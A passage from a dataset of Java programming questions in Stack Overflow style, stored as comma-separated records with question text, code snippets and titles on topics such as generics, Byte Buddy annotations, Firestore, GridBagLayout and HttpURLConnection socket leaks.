System.out.println ( `` '' ) ; } } System.out.print ( `` \t '' + colIdx + `` - column value : `` + xwpfTableCell.getText ( ) ) ;,Extracting MS Word Table Cell as image ? +Java,"Firstly apologies if I 'm using the wrong term by picking the word 'semantics . ' I 'm a big fan of generics in Java for all the obvious reasons . It helps me enormously as I work with a huge variety of odd bits of code and I often have to go back to old stuff . Today I found myself with a classic parameter misplacement bug which I probably would n't have written in the pre-generic days - they have made me a bit lazy.I 'd like to know if there is a language feature , either in Java or perhaps as a similar concept in other languages , which takes the type safety of generics and extends it to a kind of semantic safety . Specifically I want to help trap the kind of errors which result from putting the right thing in the wrong place.A simple example : Which no compiler will catch . I could subclass Stringmake wrappers to give me a Key type and a Value type , I suppose . I could name my variables to indicate their use ( as I 've done in this example ) . What else ? So my questions are : out of academic interest , what is this concept called and what languages have this feature ? In the absence of any such language feature , what are the best practices to avoid this kind of error ? Thanks","Map < String , String > myMap = new HashMap < String , String > ( ) ; String myKey = `` key '' ; String myVal = `` value '' ; myMap.put ( myVal , myKey ) ;","Java generics with 'semantics ' , is this possible ?" +Java,"somewhere in here I 'm using java.rmi.server.UID which is upsetting GAE . After : only'ing my dependencies to the bone I 'm at an impasse.I can load it up in jetty and it works fine , after loading it into the dev-appserver i get this : ps : here is my project.clj incase this helps :",( ns helloworld.core ( : use ; [ hiccup.core ] [ hiccup.page-helpers : only ( html5 include-css ) ] [ clojure.contrib.string : only ( split ) ] [ compojure.core : only ( defroutes GET ) ] [ hiccup.middleware : only ( wrap-base-url ) ] ) ( : require [ appengine-magic.core : as ae ] [ compojure.route : as route : only ( resources not-found ) ] [ compojure.handler : as handler : only ( site ) ] ) ( : gen-class : extends javax.servlet.http.HttpServlet ) ) ( defn index-page ( [ name ] ( html5 [ : head [ : title ( str `` Hello `` name ) ] ( include-css `` /css/style.css '' ) ] [ : body [ : h1 ( str `` Hello `` name ) ] ] ) ) ( [ ] ( index-page `` World '' ) ) ) ( def match-opperator { `` add '' + `` subtract '' - `` multiply '' * `` divide '' / } ) ( defroutes hello-routes ( GET `` / : f/* '' [ f & x ] ( index-page ( apply ( match-opperator f ) ( map # ( Integer/parseInt % ) ( split # '' `` ( : * x ) ) ) ) ) ) ( GET `` / '' [ ] ( index-page ) ) ( route/resources `` / '' ) ( route/not-found `` Page not found '' ) ) ( def app ( - > ( handler/site hello-routes ) ( wrap-base-url ) ) ) ( ae/def-appengine-app helloworld-app # 'app ) HTTP ERROR 500Problem accessing /multiply/1 % 202 % 204 % 208 . Reason : java.rmi.server.UID is a restricted class . Please see the Google App Engine developer 's guide for more details.Caused by : java.lang.NoClassDefFoundError : java.rmi.server.UID is a restricted class . Please see the Google App Engine developer 's guide for more details . at com.google.appengine.tools.development.agent.runtime.Runtime.reject ( Runtime.java:51 ) at org.apache.commons.fileupload.disk.DiskFileItem . ( DiskFileItem.java:103 ) at java.lang.Class.forName0 ( Native Method ) at java.lang.Class.forName ( Class.java:186 ) at ring.middleware.multipart_params $ loading__4414__auto__.invoke ( multipart_params.clj:1 ) at ring.middleware.multipart_params__init.load ( Unknown Source ) at ring.middleware.multipart_params__init . ( Unknown Source ) at java.lang.Class.forName0 ( Native Method ) at java.lang.Class.forName ( Class.java:264 ) at clojure.lang.RT.loadClassForName ( RT.java:1578 ) at clojure.lang.RT.load ( RT.java:399 ) at clojure.lang.RT.load ( RT.java:381 ) at clojure.core $ load $ fn__4519.invoke ( core.clj:4915 ) ( defproject helloworld `` 1.0.0-SNAPSHOT '' : description `` FIXME : write description '' : dependencies [ [ org.clojure/clojure `` 1.2.1 '' ] [ org.clojure/clojure-contrib `` 1.2.0 '' ] [ compojure `` 0.6.2 '' ] [ hiccup `` 0.3.4 '' ] ] : dev-dependencies [ [ appengine-magic `` 0.4.1 '' ] [ swank-clojure `` 1.2.1 '' ] ] ),`` Help Arthur find his restricted class '' or `` how can i make google app engine happy '' +Java,"I have a chat application with spring reactive webflux . When a new message is created , all subscribers get that message ( this is just an example for simplify my problem ) . Everything is right and worked perfectly . But , now I need an event for subscribers when a new message arrived.This is my code : Controller : ReplayProcessorConfig : pom.xmlWhen a new message created , I call ptpReplayProcessor.onNext ( message ) . This works correctly and all clients receive message , but phrase replay processor called ! just print from sender of message . I want to raise an event for all clients when receiving a new message . Also I tried ReplayProcessor.doOnNext ( ) and ReplayProcessor.doOnEach ( ) methods , but not worked . Is there any way for doing this ?","@ Autowired @ Qualifier ( `` ptpReplayProcessor '' ) private ReplayProcessor < String > ptpReplayProcessor ; @ GetMapping ( value = `` /chat/subscribe '' , produces = MediaType.TEXT_EVENT_STREAM_VALUE ) public Flux < String > subscribe ( ) { return Flux.from ( ptpReplayProcessor ) ; } @ Configurationpublic class ReplayProcessorConfig { @ Bean ( `` ptpReplayProcessor '' ) ReplayProcessor < String > ptpReplayProcessor ( ) { ReplayProcessor < String > replayProcessor = ReplayProcessor.create ( 0 , false ) ; replayProcessor.subscribe ( new BaseSubscriber < String > ( ) { @ Override protected void hookOnNext ( String ptp ) { System.out.println ( `` replay processor called ! `` ) ; } } ) ; return replayProcessor ; } } < dependency > < groupId > io.projectreactor < /groupId > < artifactId > reactor-core < /artifactId > < /dependency >",Spring reactive - event on receiveing new message +Java,"In Java , how can I get the Fields that are used in a method ? Basically , this is the same questions as this one in .NET . I dont wa n't to list the fields from a Class , but to list the fields that are used in a given method of the class.Example : I want to get the fields like this : So that fields [ 0 ] =A.a and fields [ 1 ] =A.bI did n't find any solution using standard Reflection . Do you think bytecode manipulation library such as ASM are a way to go ?",public class A { int a ; int b ; public int bob ( ) { return a-b ; } Fields [ ] fields = FieldReader . ( A.class.getMethod ( `` bob '' ) ) ;,Java : list fields used in a method +Java,"Consider the following code : When we try to call our newly defined method doStuff ( ) , it is n't possible . The reason for this is that file is declared as an object of type File and not as an instance of our new , anonymous child class.So , my question is , is there any 'nice ' way to achieve this behaviour ? Other than the obvious ( which is to just , declare the class properly ) .",public static void main ( String [ ] args ) { File file = new File ( `` C : \\someFile.txt '' ) { public void doStuff ( ) { // Do some stuff } } ; file.doStuff ( ) ; // `` Can not resolve method '' },Using an arbitrarily defined method of an anonymous interface +Java,"I 'm trying to understand floating point operations in Java in more detail . If I read the documentation correctly , the following holds for any given double x : Question : Is this always the case or are there some exceptional cases in which results will differ ?","x - Math.ulp ( x ) == Math.nextAfter ( x , Double.NEGATIVE_INFINITY ) ; x + Math.ulp ( x ) == Math.nextAfter ( x , Double.POSITIVE_INFINITY ) ;",Java : Adding/Subtracting Math.ulp ( ) vs. Math.nextAfter ( ) +Java,"I often find myself wanting ( and then usually writing ) Scalaz type class instances for classes in other Scala or Java libraries . To give just a few examples : A monoid instance for Shapeless 's HList gives you monoid instances for case classes with appropriately typed members almost for free.An applicative functor instance for Lift 's Box allows you for example to sequence a list of boxes : A monad instance for Dispatch 0.9 's Promise ( and Promise [ Either [ Throwable , _ ] ] , etc . ) is hugely useful for all kinds of things.An applicative functor instance for the standard library 's Parser makes applicative parsing more concise and elegant . ( I just noticed that Scalaz 7 now provides a monad instance for Parser . ) And so on ... These instances are almost always very general-purpose , and I 'm sure lots of us have written lots of these lots of times . What I 'm fishing for with this question is some kind of aggregator or clearinghouse for Scalaz type class instances . I 'm not sure such a thing exists—I certainly have n't been able to find anything like it—but even just a collection of links to blog posts , GitHub repositories , or other resources would be useful to me.I 'd prefer Scalaz 7 instances , but I 'll take anything I can get .","scala > val boxen : List [ Box [ Int ] ] = Full ( 1 ) : : Full ( 2 ) : : Full ( 3 ) : : Nilboxen : List [ net.liftweb.common.Box [ Int ] ] = List ( Full ( 1 ) , Full ( 2 ) , Full ( 3 ) ) scala > boxen.sequenceres0 : net.liftweb.common.Box [ List [ Int ] ] = Full ( List ( 1 , 2 , 3 ) )",Round-up of Scalaz type class instances for other libraries +Java,How does Java handle arguments separated by | ? for exampleWhich would give the outputI 've seen this used in SWT/JFace widget constructors . What I ca n't figure out is how the value of i is decided .,private void foo ( int i ) { System.out.println ( i ) ; } private void bar ( ) { foo ( 1 | 2 | 1 ) ; } 3,How does Java handle arguments separated by | ? +Java,"I 've been searching for the answer to `` how to add an annotation to the method at runtime '' for several days already and found this awesome tool called Byte Buddy , played with it , but still can not make it work as I need to . I 'm sure it must be able to do that from this question Can Byte Buddy create fields and method annotations at runtime ? Having this class : and this code : It is easy to add an annotation to the class . But for the method , it seems to be not possible without changing the method implementation . I 'm sure that I just do n't do it right but unfortunately can not find an example when there is no code change for the method and only annotation change .","public class ClassThatNeedsToBeAnnotated { public void method ( int arg1 , String arg2 ) { // code that we do n't want to touch at all , leave it as is System.out.println ( `` Called method with arguments `` + arg1 + `` `` + arg2 ) ; } public void method ( ) { System.out.println ( `` Called method without arguments '' ) ; } } public class MainClass { public static void main ( String [ ] args ) { ByteBuddyAgent.install ( ) ; AnnotationDescription description = AnnotationDescription.Builder.ofType ( MyClassAnnotation.class ) .define ( `` value '' , `` new '' ) .build ( ) ; new ByteBuddy ( ) .redefine ( ClassThatNeedsToBeAnnotated.class ) .annotateType ( description ) .make ( ) .load ( ClassThatNeedsToBeAnnotated.class.getClassLoader ( ) , ClassReloadingStrategy.fromInstalledAgent ( ) ) ; } } Method existingMethod = ClassThatNeedsToBeAnnotated.class.getDeclaredMethods ( ) [ 0 ] ; AnnotationDescription annotationDescription = AnnotationDescription.Builder.ofType ( MyMethodAnnotation.class ) .build ( ) ; new ByteBuddy ( ) .redefine ( ClassThatNeedsToBeAnnotated.class ) .annotateType ( description ) .method ( ElementMatchers.anyOf ( existingMethod ) ) // here I do n't want to intercept method , I want to leave the method code untouched . How to do that ? .annotateMethod ( annotationDescription ) .make ( ) .load ( ClassThatNeedsToBeAnnotated.class.getClassLoader ( ) , ClassReloadingStrategy.fromInstalledAgent ( ) ) ;",Add method annotation at runtime with Byte Buddy +Java,I am doing some research on the stream reduce and trying to run the very simple program.Why Integer.min does n't return the minimum number like Integer.min return the maximum number ? Output == >,"public class Reducing { public static void main ( String [ ] args ) { List < Integer > numbers = Arrays.asList ( 3,4,5,1,2 ) ; Integer sum = numbers.stream ( ) .reduce ( 0 , ( a , b ) - > a+ b ) ; System.out.println ( `` REDUCE : `` +sum ) ; int sum2 = numbers.stream ( ) .reduce ( 0 , Integer : :sum ) ; System.out.println ( sum2 ) ; int max = numbers.stream ( ) .reduce ( 0 , ( a , b ) - > Integer.max ( a , b ) ) ; System.out.println ( `` MAX == > `` +max ) ; int min = numbers.stream ( ) .reduce ( 0 , ( a , b ) - > Integer.min ( a , b ) ) ; System.out.println ( `` MIN == > `` +min ) ; } } REDUCE : 1515MAX == > 5MIN == > 0",Reduce Integer.min does n't return lowest element +Java,"I am working on an android app which interfaces with a bluetooth camera . For each clip stored on the camera we store some fields about the clip ( some of which the user can change ) in an XML file.Currently this app is the only app writing this xml data to the device but in the future it is possible a desktop app or an iphone app may write data here too . I do n't want to make an assumption that another app could n't have additional fields as well ( especially if they had a newer version of the app which added new fields this version did n't support yet ) .So what I want to prevent is a situation where we add new fields to this XML file in another application , and then the user goes to use the android app and its wipes out those other fields because it does n't know about them.So lets take hypothetical example : When read from the device this would get translated to a Clip object that looks like this ( simplified for brevity ) So I 'm using SAX to parse the data and store it to a Clip.I simply store the characters in StringBuilder and write them out when I reach the end element for title , category and date . I realized though that when I write this data back to the device , if there were any other tags in the original document they would not get written because I only write out the fields I know about.This makes me think that maybe SAX is the wrong option and perhaps I should use DOM or something else where I could more easily write out any other elements that existed originally.Alternatively I was thinking maybe my Clip class contains an ArrayList of some generic XML type ( maybe DOM ) , and in startTag I check if the element is not one of the predefined tags , and if so , until I reach the end of that tag I store the whole structure ( but in what ? ) .. Then upon writing back out I would just go through all of the additional tags and write them out to the xml file ( along with the fields I know about of course ) Is this a common problem with a good known solution ? -- Update 5/22/12 -- I did n't mention that in the actual xml the root node ( Actually called annotation ) , we use a version number which has been set to 1 . What I 'm going to do for the short term is require that the version number my app supports is > = what the version number is of the xml data . If the xml is a greater number I will attempt to parse for reading back but will deny any saves to the model . I 'm still interested in any kind of working example though on how to do this.BTW I thought of another solution that should be pretty easy . I figure I can use XPATH to find nodes that I know about and replace the content for those nodes when the data is updated . However I ran some benchmarks and the overhead is absurd in parsing the xml when it is parsed into memory . Just the parsing operation without even doing any lookups resulted in performance being 20 times worse than SAX.. Using xpath was between 30-50 times slower in general for parsing , which was really bad considering I parse these in a list view . So my idea is to keep the SAX to parse the nodes to clips , but store the entirety of the XML in an variable of the Clip class ( remember , this xml is short , less than 2kb ) . Then when I go to write the data back out I could use XPATH to replace out the nodes that I know about in the original XML.Still interested in any other solutions though . I probably wo n't accept a solution though unless it includes some code examples .","< data > < title > My Title < /title > < date > 12/24/2012 < /date > < category > Blah < /category > < /data > public class Clip { public String title , category ; public Date date ; }",How to preserve XML nodes that are not bound to an object when using SAX for parsing +Java,"I am working with org.apache.jena with karaf . While trying to query my model I get a NullPointerException I printed all variables I use for creating the query and all ( queryString , inferedModel ) are not null.Here is what my code looks like : I get a NullPointerException at the line where I initialize the QueryExecution variable.Here is the stack trace of the error : I 'm deploying my application via Karaf maybe the problem comes from there . Here 's a screenshot of my bundles list on Karaf . Notice that I added all Jena Jars.Karaf Bundles list","Model model = JenaEngine.readModel ( inputDataOntology ) ; if ( model == null ) { return `` model null ! `` ; } Model inferedModel = JenaEngine.readInferencedModelFromRuleFile ( model , inputRule ) ; if ( inferedModel == null ) { return `` inferedModel null ! `` ; } JenaEngine.updateValueOfDataTypeProperty ( inferedModel , ns , `` Peter '' , `` age '' , 10 ) ; JenaEngine.updateValueOfObjectProperty ( inferedModel , ns , `` Peter '' , `` estFilsDe '' , `` Femme1 '' ) ; JenaEngine.createInstanceOfClass ( model , ns , `` Femme '' , `` abc '' ) ; //query on the modelString prefixQuery = `` PREFIX ns : < http : //www.owl-ontologies.com/Ontology1291196007.owl # > \n '' + `` PREFIX rdf : < http : //www.w3.org/1999/02/22-rdf-syntax-ns # > \n '' + `` PREFIX owl : < http : //www.w3.org/2002/07/owl # > \n '' + `` PREFIX rdfs : < http : //www.w3.org/2000/01/rdf-schema # > \n '' ; String selectQuery = `` SELECT ? user ? age WHERE { \n ? user ns : age ? age.\n } '' ; QueryExecution queryExecution = QueryExecutionFactory.create ( prefixQuery+selectQuery , inferedModel ) ; ResultSet rs = queryExecution.execSelect ( ) ; List < String > users = new ArrayList ( ) ; while ( rs.hasNext ( ) ) { QuerySolution qs = rs.next ( ) ; Resource user = qs.getResource ( `` user '' ) ; users.add ( user.getLocalName ( ) ) ; } String results = `` '' ; for ( String user : users ) { results+=user+ '' `` ; } return results ; java.lang.NullPointerException at org.apache.jena.query.ARQ.isTrue ( ARQ.java:650 ) at org.apache.jena.sparql.lang.ParserBase. < init > ( ParserBase.java:292 ) at org.apache.jena.sparql.lang.SPARQLParserBase. < init > ( SPARQLParserBase.java:43 ) at org.apache.jena.sparql.lang.sparql_11.SPARQLParser11Base. < init > ( SPARQLParser11Base.java:22 ) at org.apache.jena.sparql.lang.sparql_11.SPARQLParser11. < init > ( SPARQLParser11.java:4974 ) at org.apache.jena.sparql.lang.ParserSPARQL11.perform ( ParserSPARQL11.java:91 ) at org.apache.jena.sparql.lang.ParserSPARQL11.parse $ ( ParserSPARQL11.java:52 ) at org.apache.jena.sparql.lang.SPARQLParser.parse ( SPARQLParser.java:34 ) at org.apache.jena.query.QueryFactory.parse ( QueryFactory.java:147 ) at org.apache.jena.query.QueryFactory.create ( QueryFactory.java:79 ) at org.apache.jena.query.QueryFactory.create ( QueryFactory.java:52 ) at org.apache.jena.query.QueryFactory.create ( QueryFactory.java:40 ) at fr.conceptit.tuto.web.Main.work ( Main.java:71 ) ...",How to debug NullPointerException at apache.jena.queryExecutionFactory during create ? +Java,"Let 's say I have the following class hierarchy : As you can see , only the MutableSet class provides an implementation for the $ plus method . In a Test case , I am calling this method on an instance of type ArraySet . The Test always passes in the CI environment , while it always fails with an AbstractMethodError on my local environment . In both cases , I am using Gradle ( 2.7 ) .The Error : Test Code : java -version output : CI ( where it works ) : Local ( where it fails ) : I am expecting this to be some sort of javac bug , where the compiler fails to add all required bridge methods ( the code compiles without any warnings or errors ) . In IntelliJ IDEA , the problem occurs both using javac and the Eclipse Compiler .","interface Collection < E > { Collection < E > $ plus ( E element ) } interface MutableCollection < E > extends Collection < E > { @ Override MutableCollection < E > $ plus ( E element ) } interface Set < E > extends Collection < E > { @ Override Set < E > $ plus ( E element ) } interface MutableSet < E > extends Set < E > , MutableCollection < E > { @ Override default MutableSet < E > $ plus ( E element ) { // ... implementation } } abstract class AbstractArraySet < E > implements Set < E > { // ... no $ plus ( ... ) implementation } class ArraySet < E > extends AbstractArraySet < E > implements MutableSet < E > { // ... no $ plus ( ... ) implementation } java.lang.AbstractMethodError : Method dyvil/collection/mutable/ArraySet. $ plus ( Ljava/lang/Object ; ) Ldyvil/collection/Collection ; is abstract at dyvil.collection.mutable.ArraySet. $ plus ( ArraySet.java ) at dyvil.tests.CollectionTests.testCollection ( CollectionTests.java:99 ) at ... testCollection ( new ArraySet ( ) ) ; public void testCollection ( Collection collection ) { assertEquals ( mutable. $ plus ( `` newElement '' ) , collection. $ plus ( `` newElement '' ) ) ; } java version `` 1.8.0 '' Java ( TM ) SE Runtime Environment ( build 1.8.0-b132 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 25.0-b70 , mixed mode ) java version `` 1.8.0_71 '' Java ( TM ) SE Runtime Environment ( build 1.8.0_71-b15 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 25.71-b15 , mixed mode )",Strange Default Method behavior with different Java versions +Java,"pls help me with this tinny issueI 've this android code : then , i use firestore to save my data : all works fine when i comment or delete this line : But when i enable it again my app fail ... I want to know what can i do for solve this ... Thank you.. ! ! ! ! btw , this is my logcat","private ArrayList serviceNameList = new ArrayList ( ) ; serviceNameList.add ( `` windows '' ) ; serviceNameList.add ( `` linux '' ) ; serviceNameList.add ( `` mac '' ) ; Map < String , Object > service = new HashMap < > ( ) ; service.put ( `` full_name '' , full_name.getText ( ) .toString ( ) ) ; service.put ( `` Services_names '' , Collections.singletonList ( serviceNameList ) ) ; firestore.collection ( `` service '' ) .document ( `` new_service '' ) .set ( service ) .addOnSuccessListener ( new OnSuccessListener < Void > ( ) { @ Override public void onSuccess ( Void aVoid ) { Toast.makeText ( getApplicationContext ( ) , `` Success.. ! `` , Toast.LENGTH_SHORT ) .show ( ) ; } } ) .addOnFailureListener ( new OnFailureListener ( ) { @ Override public void onFailure ( @ NonNull Exception e ) { String error = e.getMessage ( ) ; Toast.makeText ( getApplicationContext ( ) , `` Error : `` + error , Toast.LENGTH_SHORT ) .show ( ) ; } } ) ; service.put ( `` Services_names '' , Collections.singletonList ( serviceNameList ) ) ; 2019-07-08 23:03:04.943 com.comas.app E : FATAL EXCEPTION : mainProcess : com.comas.app , PID : 30989java.lang.IllegalArgumentException : Invalid data . Nested arrays are not supported at com.google.firebase.firestore.core.UserData $ ParseContext.createError ( com.google.firebase : firebase-firestore @ @ 19.0.2:293 ) at com.google.firebase.firestore.UserDataConverter.parseData ( com.google.firebase : firebase-firestore @ @ 19.0.2:270 ) at com.google.firebase.firestore.UserDataConverter.parseList ( com.google.firebase : firebase-firestore @ @ 19.0.2:307 ) at com.google.firebase.firestore.UserDataConverter.parseData ( com.google.firebase : firebase-firestore @ @ 19.0.2:272 ) at com.google.firebase.firestore.UserDataConverter.parseMap ( com.google.firebase : firebase-firestore @ @ 19.0.2:294 ) at com.google.firebase.firestore.UserDataConverter.parseData ( com.google.firebase : firebase-firestore @ @ 19.0.2:250 ) at com.google.firebase.firestore.UserDataConverter.convertAndParseDocumentData ( com.google.firebase : firebase-firestore @ @ 19.0.2:230 ) at com.google.firebase.firestore.UserDataConverter.parseSetData ( com.google.firebase : firebase-firestore @ @ 19.0.2:83 ) at com.google.firebase.firestore.DocumentReference.set ( com.google.firebase : firebase-firestore @ @ 19.0.2:175 ) at com.google.firebase.firestore.DocumentReference.set ( com.google.firebase : firebase-firestore @ @ 19.0.2:154 ) at com.comas.app.PopUpActivity $ 2.onClick ( PopUpActivity.java:173 ) at android.view.View.performClick ( View.java:6663 ) at android.view.View.performClickInternal ( View.java:6635 ) at android.view.View.access $ 3100 ( View.java:794 ) at android.view.View $ PerformClick.run ( View.java:26199 ) at android.os.Handler.handleCallback ( Handler.java:907 ) at android.os.Handler.dispatchMessage ( Handler.java:105 ) at android.os.Looper.loop ( Looper.java:216 ) at android.app.ActivityThread.main ( ActivityThread.java:7593 ) at java.lang.reflect.Method.invoke ( Native Method ) at com.android.internal.os.RuntimeInit $ MethodAndArgsCaller.run ( RuntimeInit.java:524 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:987 ) 2019-07-08 23:03:04.955 ? E : FaultDetect : DUMPTOOL_PRINTF return .",Problem with Cloud Firestore adding document - Android Studio +Java,"I would like to know what the best in terms of industry practice way is to read in a file using multithreaded approach . In Java I would do something of the following sort : Reader would spawn another thread to generate a result and then call back the Listener from withing the working thread . Would this be a good approach ? How would this translate into Scala , which probably has other , better mechanisms to achieve this ?","class Reader { Result readFile ( File file , Listener callback ) } class Listener { void process ( Result r ) }",java vs scala - reading in file on a separate thread +Java,"I am trying to implement this layout using GRIDBAG layout in javaSo the code above is basically just the components that will be added to a GUI , but I am not quite getting what I want , this is what I am trying to achieveBut this is what I am getting with the above codeSo when I compile the above is what I endup with , also if possible I dont want the user to resize the window , I am guessing some boolean with one of the window properties..","public static void addComponentsToPane ( Container pane ) { if ( RIGHT_TO_LEFT ) { pane.setComponentOrientation ( ComponentOrientation.RIGHT_TO_LEFT ) ; } JLabel label1 , label2 , label3 , result , title ; JButton calculate_btn ; JTextField side1 , side2 , side3 ; pane.setLayout ( new GridBagLayout ( ) ) ; GridBagConstraints c = new GridBagConstraints ( ) ; if ( shouldFill ) { //natural height , maximum width c.fill = GridBagConstraints.HORIZONTAL ; } title = new JLabel ( `` Area of Triangle '' ) ; if ( shouldWeightX ) { c.weightx = 0.5 ; } c.fill = GridBagConstraints.HORIZONTAL ; c.gridx = 2 ; c.gridy = -1 ; pane.add ( title , c ) ; label1 = new JLabel ( `` Side 1 : `` ) ; if ( shouldWeightX ) { c.weightx = 0.5 ; } c.fill = GridBagConstraints.HORIZONTAL ; c.ipady = 20 ; c.gridx = 1 ; c.gridy = 1 ; pane.add ( label1 , c ) ; label2 = new JLabel ( `` Side 2 : `` ) ; if ( shouldWeightX ) { c.weightx = 0.5 ; } c.fill = GridBagConstraints.HORIZONTAL ; c.ipady = 20 ; c.gridx = 1 ; c.gridy = 2 ; pane.add ( label2 , c ) ; label3 = new JLabel ( `` Side 3 : `` ) ; if ( shouldWeightX ) { c.weightx = 0.5 ; } c.fill = GridBagConstraints.HORIZONTAL ; c.ipady = 20 ; c.gridx = 1 ; c.gridy = 3 ; pane.add ( label3 , c ) ; side1 = new JTextField ( `` `` ) ; if ( shouldWeightX ) { c.weightx = 0.5 ; } c.fill = GridBagConstraints.HORIZONTAL ; c.ipady = 20 ; c.gridx = 2 ; c.gridy = 1 ; pane.add ( side1 , c ) ; side2 = new JTextField ( `` Side 3 : `` ) ; if ( shouldWeightX ) { c.weightx = 0.5 ; } c.fill = GridBagConstraints.HORIZONTAL ; c.ipady = 20 ; c.gridx = 2 ; c.gridy = 2 ; pane.add ( side2 , c ) ; side3 = new JTextField ( `` Side 3 : `` ) ; if ( shouldWeightX ) { c.weightx = 0.5 ; } c.fill = GridBagConstraints.HORIZONTAL ; c.ipady = 20 ; c.gridx = 2 ; c.gridy = 3 ; pane.add ( side3 , c ) ; calculate_btn = new JButton ( `` Calculate '' ) ; //c.fill = GridBagConstraints.HORIZONTAL ; c.ipady = 30 ; //make this component tall c.weightx = 0.5 ; c.gridwidth = 3 ; c.gridx = 0 ; c.gridy = 5 ; pane.add ( calculate_btn , c ) ; result = new JLabel ( `` Result displayed here '' ) ; if ( shouldWeightX ) { c.weightx = 0.5 ; } c.fill = GridBagConstraints.HORIZONTAL ; c.ipady = 20 ; c.gridx = 2 ; c.gridy = 7 ; pane.add ( result , c ) ; }",Adjusting Gridbag layout +Java,"This code output is 5 , 0.if reason is static loads first in class and i is initialized and j is not.but if i remove static from i also now why output is 5,5. then when i and j is initialized.please explain the reason .","public class Hello { public static final Hello h = new Hello ( ) ; static int i = 5 ; int j = i ; private void print ( ) { System.out.println ( i+ '' , `` +j ) ; } public static void main ( String [ ] args ) { h.print ( ) ; } } public class Hello { public static final Hello h = new Hello ( ) ; int i = 5 ; int j = i ; private void print ( ) { System.out.println ( i+ '' , `` +j ) ; } public static void main ( String [ ] args ) { h.print ( ) ; } }",Java static initialization behaviour +Java,"recently I met a question like this : Assume you have an int N , and you also have an int [ ] and each element in this array can only be used once time . And we need to design an algorithm to get 1 to N by adding those numbers and finally return the least numbers we need to add.For example : I am thinking of solving this by using DFS.Do you have some better solutions ? Thanks !","N = 6 , array is [ 1,3 ] 1 : we already have.2 : we need to add it to the array.3 : we can get it by doing 1 + 2.4 : 1 + 3.5 : 2 + 3.6 : 1 + 2 + 3.So we just need to add 2 to our array and finally we return 1 .",How to know the fewest numbers we should add to get a full array +Java,"I 'm familiar with functional programming languages , usually in Scala and Javascript . I 'm working on a Java8 project and not sure how I am supposed to run through a list/stream of item , and perform some side-effect for each of them in parallel , using a custom thread pool , and return an object on which it 's possible to listen for completion ( wether it 's a success or failure ) .Currently I have the following code , it seems to work ( I 'm using Play framework Promise implementation as return ) but it seems not ideal because ForkJoinPool is not meant to be used for IO intensive computations in the first place.Can someone give me a more idiomatic implementation of the above function ? Ideally not using the ForkJoinPool , using a more standard return type , and most recent Java8 APIs ? Not sure what I 'm supposed to use between CompletableFuture , CompletionStage , ForkJoinTask ...","public static F.Promise < Void > performAllItemsBackup ( Stream < Item > items ) { ForkJoinPool pool = new ForkJoinPool ( 3 ) ; ForkJoinTask < F.Promise < Void > > result = pool .submit ( ( ) - > { try { items.parallel ( ) .forEach ( performSingleItemBackup ) ; return F.Promise. < Void > pure ( null ) ; } catch ( Exception e ) { return F.Promise. < Void > throwing ( e ) ; } } ) ; try { return result.get ( ) ; } catch ( Exception e ) { throw new RuntimeException ( `` Unable to get result '' , e ) ; } }",Run IO computations in parallel in Java8 +Java,I 'm using OpenJDK 11 on Linux and I need to make sure all my web requests done with HttpURLConnection are properly closed and do not keep any file descriptors open.Oracle 's manual tells to use close on the InputStream and Android 's manual tells to use disconnect on the HttpURLConnection object.I also set Connection : close and http.keepAlive to false to avoid pooling of connections.This seems to work with plain http requests but not encrypted https requests whose response is sent with non-chunked encoding . Only a GC seems to clean up the closed connections.This example code : prints this output : Changing to a http URL makes the sockets close correctly as expected without GC : Tested with both OpenJDK 11 and 12 . Did I miss something or is this a bug ?,"import java.io.BufferedReader ; import java.io.File ; import java.io.IOException ; import java.io.InputStreamReader ; import java.net.HttpURLConnection ; import java.net.URL ; import java.nio.file.Files ; import java.nio.file.Path ; import java.util.stream.Stream ; public class Test { private static int printFds ( ) throws IOException { int cnt = 0 ; try ( Stream < Path > paths = Files.list ( new File ( `` /proc/self/fd '' ) .toPath ( ) ) ) { for ( Path path : ( Iterable < Path > ) paths : :iterator ) { System.out.println ( path ) ; ++cnt ; } } System.out.println ( ) ; return cnt ; } public static void main ( String [ ] args ) throws IOException , InterruptedException { System.setProperty ( `` http.keepAlive '' , `` false '' ) ; for ( int i = 0 ; i < 10 ; i++ ) { // Must be a https endpoint returning non-chunked response HttpURLConnection conn = ( HttpURLConnection ) new URL ( `` https : //www.google.com/ '' ) .openConnection ( ) ; conn.setRequestProperty ( `` Connection '' , `` close '' ) ; BufferedReader in = new BufferedReader ( new InputStreamReader ( conn.getInputStream ( ) ) ) ; while ( in.readLine ( ) ! = null ) { } in.close ( ) ; conn.disconnect ( ) ; conn = null ; in = null ; } Thread.sleep ( 1000 ) ; int numBeforeGc = printFds ( ) ; System.gc ( ) ; Thread.sleep ( 1000 ) ; int numAfterGc = printFds ( ) ; System.out.println ( numBeforeGc == numAfterGc ? `` No socket leaks '' : `` Sockets were leaked '' ) ; } } /proc/self/fd/0/proc/self/fd/1/proc/self/fd/2/proc/self/fd/3/proc/self/fd/4/proc/self/fd/5/proc/self/fd/9/proc/self/fd/6/proc/self/fd/7/proc/self/fd/8/proc/self/fd/10/proc/self/fd/11/proc/self/fd/12/proc/self/fd/13/proc/self/fd/14/proc/self/fd/15/proc/self/fd/16/proc/self/fd/17/proc/self/fd/18/proc/self/fd/19/proc/self/fd/0/proc/self/fd/1/proc/self/fd/2/proc/self/fd/3/proc/self/fd/4/proc/self/fd/5/proc/self/fd/9/proc/self/fd/6/proc/self/fd/7/proc/self/fd/8Sockets were leaked /proc/self/fd/0/proc/self/fd/1/proc/self/fd/2/proc/self/fd/3/proc/self/fd/4/proc/self/fd/5/proc/self/fd/6/proc/self/fd/0/proc/self/fd/1/proc/self/fd/2/proc/self/fd/3/proc/self/fd/4/proc/self/fd/5/proc/self/fd/6No socket leak",Sockets of HttpURLConnection are leaked +Java,"I want to create a simple generic method to count the numbers after applying the filter based on the provided predicate . It gives me the following error : incompatible types : Predicate can not be converted to Predicate < ? super CAP # 2 > where CAP # 1 , CAP # 2 are fresh type-variables : CAP # 1 extends Number from capture of ? extends Number CAP # 2 extends Number from capture of ? extends Number","static int count ( Collection < ? extends Number > numbers , Predicate < ? extends Number > predicate ) { return numbers.stream ( ) .filter ( predicate ) .count ( ) ; }",Java : Create a simple generic method to count after applying filter +Java,"Answer : The top answer of this thread basically answers my question : Missing return statement in a non-void method compiles.I wonder why I do not need to return a value in this private method ? I feel like this should not compile . However , it compiles fine . Where is this defined to be legal ? In this context , I find it weird that changing the method to : requires me to provide a return type even though javap tells me that the compiler produces the exact same byte code for both 